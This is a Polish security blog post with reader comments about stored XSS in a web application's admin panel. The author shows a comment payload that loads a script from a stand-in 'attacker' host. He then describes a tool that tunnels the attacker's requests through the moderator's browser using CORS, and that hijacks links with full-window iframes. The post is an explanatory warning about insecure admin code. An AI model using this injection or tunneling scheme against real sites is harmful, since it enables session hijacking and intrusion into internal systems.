08 stycznia 2011
E.T. dzwoni do domu, czyli XSS w adminie
sobota, stycznia 08, 2011 | Autor:
\m/ojtek

Typowa aplikacja webowa składa się z dwóch komponentów, portalu udostępniającego pewną funkcjonalność klientom oraz części umożliwiającej zarządzenie, czyli tytułowego "admina" (CMS). Kod portalu coraz częściej powstaje z uwzględnieniem zasad bezpiecznego programowania, niestety nie zawsze to samo można powiedzieć o drugim z wymienionych komponentów...
Taki stan rzeczy często tłumaczony jest na jeden z następujących sposobów: "tylko garstka zaufanych użytkowników korzysta z aplikacji", "to nasze autorskie rozwiązanie, nikt nie wie jak działa, tym bardziej nie będzie w stanie znaleźć błędu", "aplikacja dostępna jest tylko w sieci wewnętrznej" itp. W artykule postaram się wykazać, że taka polityka prowadzenia projektu, w niesprzyjających warunkach może doprowadzić do poważnych w skutkach konsekwencji.
Na potrzeby artykułu zaatakujemy prostą aplikację testową, która umożliwia użytkownikom wyrażanie swoich opinie w postaci komentarzy. Załóżmy, że w części portalowej nie udało nam się znaleźć żadnej z typowych podatności. Sytuacja wydaje się beznadziejna. Jedyna szansa dla potencjalnego intruza jest więc taka, że CMS zawiera jakieś błędy.
Pytanie jednak, jak zaatakować aplikację, której istnienia jedynie się domyślamy? Z dużym prawdopodobieństwem CMS tego typu aplikacji umożliwia moderację umieszczonych treści, co wiąże się z koniecznością ich wyświetlenia. Jeżeli nie zastosowano odpowiedniej walidacji, będziemy w stanie przeprowadzić atak typu XSS np. poprzez umieszczenie komentarza o następującej treści
<script src="http://attacker/payload.js"></script>
. Teraz pozostaje już tylko czekać, aż moderator wyświetli komentarz, a tym samym uruchomi nasz kod.
Kolejne pytanie brzmi, jak skonstruować użyteczny payload, bez jakiejkolwiek wiedzy na temat szczegółów działania aplikacji? Rozwiązaniem może być kod, który realizuje poniższy scenariusz:
- Przeglądarka moderatora uruchamia nasz kod (agent).
- Agent nawiązuje połączenie z aplikacją uruchomioną na naszym serwerze (kontroler).
- Kontroler uruchamia serwer proxy.
- Kontroler powiadamia nas o utworzeniu nowego tunelu (serwer proxy skojarzony z agentem uruchomionym w przeglądarce moderatora).
- Wysyłamy zapytanie do serwera proxy.
- Proxy wysyła zapytanie do kontrolera.
- Agent pobiera treść zapytania od kontrolera.
- Agent wykonuje zapytanie w przeglądarce moderatora (ajax).
- Agent wysyła odpowiedź do kontrolera.
- Kontroler przekazuje odpowiedź do serwera proxy.
- Serwer proxy przekazuje odpowiedź do naszej przeglądarki.
- (Idź do kroku 5).
Na potrzeby artykułu powstała aplikacja implementująca powyższy algorytm (etproxy). Dwa główne problemy, z którymi należało się zmierzyć to:
- Implementacja kanału komunikacyjnego pomiędzy agentem a kontrolerem.
- Czas życia agenta ograniczony do czasu wizyty moderatora na stronie uruchamiającej payload.
Do rozwiązania pierwszego problemu, użyty został mechanizm Cross-Origin Resource Sharing. W dużym skrócie: możliwe jest wykonywanie zapytań ajax'owych (i odczytywanie odpowiedzi) do dowolnej domeny, o ile strona wywoływana na to pozwoli (poprzez ustawienie odpowiednich nagłówków w odpowiedzi). Niestety rozwiązanie nie jest obsługiwane przez wszystkie przeglądarki, zwłaszcza te starsze.
Rozwiązanie drugiego problemu sprowadza się do pewnej sztuczki. W chwili uruchomienia agenta, do wszystkich linków na stronie podpięte zostaje zdarzenie (onclick), które blokuje możliwość opuszczenia strony. Zamiast tego, w chwili kliknięcia w link do struktury DOM dokumentu dodawany jest znacznik iframe, ze źródłem (src), na które wskazywał dany link (href). Dodatkowo iframe jest rozszerzany do 100% szerokości i wysokości okna, zakrywając w ten sposób bieżącą zawartość. W ten sposób użytkownikowi serwowana jest spodziewana zawartość, bez potrzeby przechodzenia na inną stronę. Rozwiązanie nie jest jednak pozbawione wad:
- Użytkownik nawiguje w obrębie iframe'a, co wiąże się z konsekwencjami w postaci niezmieniającego się adresu strony (w pasku adresu).
- Docelowa strona może zwierać mechanizmy, uniemożliwiające wyświetlenie jej zawartości w iframe'ie (patrz nagłówek X-Frame-Options itp.).
- W dobie aplikacji ajax'owych, rolą niektórych linków może nie być przełączenie strony, a wykonanie bardziej złożonego zadania jak np. przeładowanie tylko jej części. Kliknięcie w zmodyfikowaną wersję takiego linku z dużym prawdopodobieństwem zakończy się załadowaniem pustego iframe'a.
Oto wspomniana aplikacja w akcji:
Przyznaję, że przeprowadzenie przedstawionego ataku, w warunkach rzeczywistych nie należy do rzeczy łatwych. Kluczowe znaczenie ma czas pracy użytkownika CMS'a. Nie mniej nie da się zaprzeczyć, że realne ryzyko istnieje. Decyzję, czy należy je uwzględnić w praktyce, pozostawiam czytelnikom.
Etykiety:
Bezpieczeństwo aplikacji,
Obrona - Atak
Komentarze (5)

Sortuj po: Data Ocena Ostatnia Aktywność
Wczytywanie komentarzy...
Wyślij nowy komentarz
Comments by IntenseDebate
Odpowiedz jako Gość, lub zaloguj się:
WróćPołączony jako (Wyloguj się)
Nie wyświetla się publicznie.
Publikowanie anonimowe.
E.T. dzwoni do domu, czyli XSS w adminie
2011-01-08T19:45:00+01:00
\m/ojtek
Bezpieczeństwo aplikacji|Obrona - Atak|
Subskrybuj:
Komentarze do posta (Atom)
Wyszukaj w HCSL:
Subskrybuj:
Najpopularniejsze artykuły wszech czasów:
- Urządzenia do kopiowania kart płatniczych
- Co tak naprawdę ujawniasz w Internecie?
- Dlaczego należy zasłaniać klawiaturę bankomatu?
- Publiczna wiadomość z ukrytym przekazem
- Przyszłość antywirusów jest jasna
- Sposób na obejście internetowych blokad
- Superbezpieczne hasła na... żółtej karteczce
- Funkcje sprzętowego kasowania danych w HDD!
- 12-latek odkrył krytyczną lukę w Firefoksie
- Przestępstwo nie popłaca
- Czy jesteśmy inwigilowani przez chiński sprzęt?
- Gotowy zestaw do podsłuchiwania GSM
- Jak działa internetowa mafia?
- Uwaga na nowy rodzaj ataków phishingowych!
- Microsoftowy poradnik dla organów ścigania!
- Polski super-bezpieczny system Qubes OS
- Dane wieczyście dostępne
- Pierwszy atak samochodowych crackerów
- Pliki PDF zdolne do wykonania dowolnego kodu
- Polskie służby współpracują z firmą Google?
- Więzienie za odmowę ujawnienia hasła
- Podrzucanie dziecięcej pornografii
- Zapomniany film o hakerach
- Łamanie haseł w Windows Vista i 7
NoBody · 742 tygodni temu
\m/ojtek 84p · 742 tygodni temu
Krzysztof Kotowicz · 742 tygodni temu
Wspomniana technika wydłużająca czas życia agenta została wykorzystana np. w moim XSS-Tracku, tam też zresztą poradziłem sobie m.in. z problemem "paska adresu".
Co do kanału komunikacji, CORS (nie do końca jeszcze wszędzie wspierany) można (i tak robię w xss-tracku) uzupełnić o dynamiczne wczytywanie obrazków z proxy z danymi w URLu. To tylko przykład, technik na sprawną komunikację międzydomenową jest wiele. Bardzo wydajny do tego celu będzie WebSockets z HTML5, ale znów - na razie ma słabe wsparcie.
dariusz · 742 tygodni temu
Artykuł ma za zadanie zaprezentować konkretne zagrożenie - możliwość ataku aplikacji backend'owej, nierzadko autorskiego rozwiązania, niedostępnego bezpośrednio z Internetu. Nie znam wymienionych przez Ciebie narzędzi, jeżeli XSS Shell umożliwia np. odpalanie sqlmap'a na aplikacji która nie jest dostępna bezpośrednio z Internetu to przyznaję... wymyśliłem koło i zapewne wyszło kwadratowe ;)
Lukasz · 742 tygodni temu